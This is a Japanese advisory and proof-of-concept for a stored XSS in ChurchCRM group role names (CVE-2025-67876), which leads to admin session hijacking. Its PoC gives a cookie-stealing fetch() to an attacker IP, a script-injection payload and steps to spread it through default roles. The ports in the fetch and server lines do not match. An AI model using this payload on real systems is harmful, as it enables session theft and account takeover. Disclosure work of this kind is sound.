CVE-2025-67876

CVE-2025-67876の詳細な概念実証。ChurchCRMのグループロール名の保存型XSSによる管理者セッションハイジャックを示し、完全なエクスプロイト解説と是正推奨事項を提供。

リポジトリを見る

25ヶ月前

影響を受ける製品

ChurchCRM/CRM

詳細

要約

ChurchCRMには、「グループの管理(Manage Groups)」権限を持つ低権限ユーザーがグループ役割名に永続的なJavaScriptを注入できる保存型クロスサイトスクリプティング(XSS)の脆弱性が存在します。ペイロードはデータベースに保存され、管理者を含むすべてのユーザーがGroupView.phpやPersonView.phpなど、その役割を表示するページを閲覧するたびに実行されます。これにより、完全なセッションハイジャックとアカウント乗っ取りが可能になります。

詳細

根本原因は、グループ役割名の処理における入力検証と出力エンコーディングの欠如です。

GroupEditor.phpでグループを編集する際、ユーザーは役割名を変更できます。アプリケーションは入力をサニタイズしません（例: strip_tags、htmlspecialchars、サーバーサイド検証のいずれもなし）。値はlist_lstデータベーステーブルに保存されます。

その後、保存された値はエスケープされずに直接HTMLに注入されます:

GroupView.phpでは、グループ役割は<span>で囲まれたテーブルセル内に表示されます。
PersonView.phpでは、ユーザーに割り当てられた役割が「割り当てられたグループ(Assigned Groups)」の下に表示されます。エスケープが適用されないため、役割名に保存されたHTMLやJavaScriptは被害者のブラウザで実行されます。

したがって、(Manage Groups権限を持つ)低権限ユーザーは、役割にJavaScriptを注入し、その役割を管理者に割り当てることで、権限を完全な管理者へと昇格させることができます。

PoC

フェーズ1 - 攻撃者の準備

攻撃者が管理するマシン上にx.jsを作成します:

fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));

ファイルを配信します:

python3 -m http.server 800

フェーズ2 - XSSペイロードの注入

Manage Groups権限を持つユーザーとしてログインします。
以下へ移動します: グループ → グループ一覧 → 任意のグループを選択 → 設定(Settings)。
「グループ役割(Group Roles)」セクションで、既存の役割を編集するか新しい役割を作成します。
悪意のあるペイロードを挿入します:

"><script src=//172.20.0.1:800/x.js></script>

グループ役割リストで、XSSペイロードを注入した役割の横にある「デフォルト(Default)」をクリックします。これにより、グループに追加されたすべてのユーザーに悪意のある役割が自動的に割り当てられ、管理者がプロフィールを表示した際にXSSが発動する可能性が高まります。以前のデフォルト役割（通常は「メンバー(Member)」）の横にある「削除(Delete)」をクリックします。クリーンなデフォルト役割を削除することで、システムは今後のすべての割り当てにXSSが注入された役割を使用せざるを得なくなり、被害者が自分の割り当て役割を表示する任意のページを閲覧したときに確実に実行されます。